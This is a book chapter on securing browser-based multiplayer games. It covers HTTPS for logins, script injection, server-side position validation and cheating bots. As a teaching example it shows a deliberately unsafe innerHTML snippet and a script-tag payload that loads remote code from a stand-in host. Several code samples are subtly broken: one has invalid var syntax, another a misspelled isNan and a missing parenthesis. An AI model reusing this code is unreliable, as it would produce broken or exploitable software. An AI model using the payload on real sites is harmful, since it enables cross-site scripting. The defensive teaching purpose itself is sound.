Chapter 6. Adding Security and Fair Play

Although we're only now talking about security, the main takeaway from this chapter is that security should be baked into your games. Just like other types of software, you can't just go in after the fact, slap in a few security features and expect the product to be bullet proof. However, since the primary focus of this book was not security, I think we can be justified in not bringing up the subject until the very last chapter.

In this chapter, we will discuss the following principles and concepts:

  • Common security vulnerabilities in web-based applications
  • Using Npm and Bower to add extra security to your games
  • Making games more secure and less prone to cheating

Common security vulnerabilities

If you're coming to game development from one of the many other areas of software development, you will be pleased to know that securing a game is not much different than securing any other type of software. Treating a game like any other type of software that needs security, especially like a distributed and networked one, will help you to put in place the proper measures that will help you to protect your software.

In this section, we will cover a few of the most basic and fundamental security vulnerabilities in web-based applications (including games) as well as ways to protect against them. However, we will not delve too deeply (or at all) into more complicated networking security topics and scenarios, such as social engineering, denial of service attacks, securing user accounts, storing sensitive data properly, protecting virtual assets, and so on.

Encryption over the wire

The first vulnerability about which you should be aware of is that sending data from your server to your clients leaves the data exposed for others to see. Monitoring network traffic is almost as easy as walking and chewing gum at the same time, even though not everyone is skilled enough to do either of these things.

Here's a common scenario that you might require your players to go through while they play (or prepare to play) your game:

  • The player enters a username and password in order to be authorized into your game
  • Your server validates the login information
  • The player is then allowed to continue on and play the game

If the initial HTTP request sent to the server by the player is not encrypted, then anyone who was looking at the network packets would know the user credentials and your player's account would be compromised.

The easiest solution is to transmit any such data over HTTPS. While using HTTPS won't solve all of one's security problems, it does provide us with a fairly certain guarantee, which includes the following points:

  • The server responding to the client request would be who it says it is
  • The data received by both the server and the client would not have been tampered with
  • Anyone looking at the data wouldn't be able to read it in plain text

Since HTTPS packets are encrypted, anyone monitoring the network will need to decrypt each packet in order to know data that it contained, thus making it a safe way to send one's password to the server.

Just as there is no such thing as a free meal, there is also no such thing as free encryption and decryption. This means that by using HTTPS you will incur some measurable performance penalty. What this penalty actually is and how negligible it will be is highly dependent on a series of factors. The key is to evaluate your specific case and determine where exactly the use of HTTPS would be too expensive in terms of performance.

However, remember that at a very minimum, trading off performance for security is worth the cost when the value of the data is greater than the extra performance. It is possible that you may not be able to transmit thousands of players' positions and velocities per second over HTTPS because of the associated latency this would cause. However, each individual user will not be logging in very often after one initial authentication, so forcing at least that to be secure is certainly something nobody can afford to go without.

Script injection

The base principle behind this vulnerability is that your script takes user input as text (data) and evaluates it as code in an execution context. A typical use case for this is as follows:

  • The game asks for the user to enter his/her name
  • A malicious user enters code
  • The game optionally saves that text for future use
  • The game eventually uses that code in an execution context

In the case of web-based application, or more specifically with JavaScript being executed in a browser, the vicious input might be a string of HTML and the execution context the DOM. One particular feature of the DOM API is its ability to set a string as an element's HTML content. The browser takes that string and turns it into live HTML, just like any other HTML document that is rendered in some server.

The following code snippet is an example of an application that asks for a user's nickname, then displays it on the upper-right corner of the screen. This game may also save the player's name in a database and attempt to render that string with the player's name in other parts of the game as well:

/**
 * @param {Object} player
 */
function setPlayerName(player){
    var nameIn = document.getElementById('nameIn'),
    var nameOut = document.getElementById('nameOut'),

    player.name = nameIn.value;

    // Warning: here be danger!
    nameOut.innerHTML = player.name;
}
Script injection

For the casual developer, this seems like a rather lovely greeting to a player who is getting ready to enjoy your platform game. Provided that the user enters an actual name with no HTML characters in it, all will be well.

However, if the user decides to call himself something like <script src="http://my-website.com/my-script.js"></script> instead and we don't sanitize that string in order to remove characters that would make the string a valid HTML, the application could become compromised.

The two possible ways to exploit this vulnerability as a user are to alter the client's experience (for example, by entering an HTML string that makes the name blink or downloads and plays an arbitrary MP3 file), or to input an HTML string that downloads and executes JavaScript files that alter the main game script and interacts with the game's server in malicious ways.

To make matters worse, if we're not careful with protecting against other vulnerabilities, this security loophole can be exploited in conjunction with other vulnerabilities, further compounding the damage that can be done by an evil player:

Script injection

Server validation

Depending on how we process and use input from our users on the server, we can compromise the server and other assets by trusting the user with unsanitized input. However, just making sure that the input is generally valid is not enough.

For example, at some point you will tell the server where the player is, how fast and in which direction he or she is moving, and possibly which buttons are being pressed. In case we need to inform the server about the player's position, we would first verify that the client game has submitted a valid number:

// src/server/input-handler.js

socket.on(gameEvents.server_userPos, function(data){
    var position = {
        x: parseFloat(data.x),
        y: parseFloat(data.y)
    };

    if (isNaN(position.x) || isNan(position.y) {
        // Discard input
    }

    // ...
});

Now that we know that the user hasn't hacked the game to send in malicious code instead of their actual location vector, we can perform calculations on it and update the rest of the game state. Or, can we?

If the user sends invalid floats for their position, for example (assuming that we're working with floating point numbers in this case), we can simply discard the input or perform a specific action in response to their attempt to enter invalid values. However, what would we do if the user sends an incorrect location vector?

It could be that the player is moving along from the left side of the screen to the right. First, the server receives the player's coordinates showing where the player really is, then the player reports to being slightly further to the right and a little closer to a fiery pit. Suppose that the fastest the player can possibly move is, say, 5 pixels per frame. Then, how would we know whether the player truly did jump over and across the fiery pit in one frame (which is an impossible move) or whether the player cheated, if all we know is that the player sent a valid vector saying {x: 2484, y: 4536}?

Server validation

The key principle here is to validate whether the input is valid. Note that we're talking about validating and not sanitizing user input although the latter is also indispensable and goes hand in hand with the former.

In its simplest form, one solution to the previous problem with a player reporting a fake position is that we could simply keep track of the last reported position and compare it to the one that is received next. For a more complex solution, we could keep track of the several previous positions and take a look at how the player is moving.

var PlayerPositionValidator = function(maxDx, maxDy) {
    this.maxDx = maxDx;
    this.maxDy = maxDy;
    this.positions = [];
};

PlayerPositionValidator.prototype.addPosition = function(x, y){
    var pos = {
        x: x,
        y: y
    };

    this.positions.push(pos);
};

PlayerPositionValidator.prototype.checkLast = function(x, y){
    var pos = this.positions[this.positions.length - 1];

    return Math.abs(pos.x - x) <= this.maxDx
         && Math.abs(pos.y - y) <= this.maxDy;
};

The above class keeps track of the maximum vertical and horizontal displacement that a player can possibly have in a frame (or however often the server validates a new user position). By associating an instance of it to a specific player, we can add new incoming positions as well as check it against the last one received to determine whether it's greater than the maximum possible displacement.

A more complicated case to check for and validate against would be making sure that the player does not report potentially expired events or attributes (such as temporary power ups, and so on), or invalid input state (for example, the player is already in the air, but is suddenly reporting that a jump was initiated).

To make matters even more complex, there is another case that we need to be aware of, which is very difficult to check. So far, as we've discussed, the solution to combat against players trying to manipulate game state is to use the authoritative server's power to overrule clients' actions. However, as we will discuss in the next section, there's one family of problems that even an authoritative server can't really prevent or recover from.

Artificial intelligence

It is one thing to detect a player who is trying to cheat because the reported moves are impossible to make (for example, moving too fast or firing a weapon that is not available in a given level in the game). An entirely different thing, however, is to try to detect a cheater because he or she is playing too well. This is a possible vulnerability that we can face if the vicious player is a bot playing perfect games against honest humans who are trying to compete.

The solution to this issue is as complex as the problem. Assuming that you want to prevent bots from competing against humans, how can you possibly determine that a series of inputs are coming from another software instead of a human player? Presumably, although every move will be a legal one, the level of accuracy will likely be orders of magnitude higher than everyone else's.

Unfortunately, implementations in code demonstrating ways to combat this class of problems is beyond the scope of this book. In general, you will want to use various heuristics to determine whether a series of moves is too perfect.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.147.85.221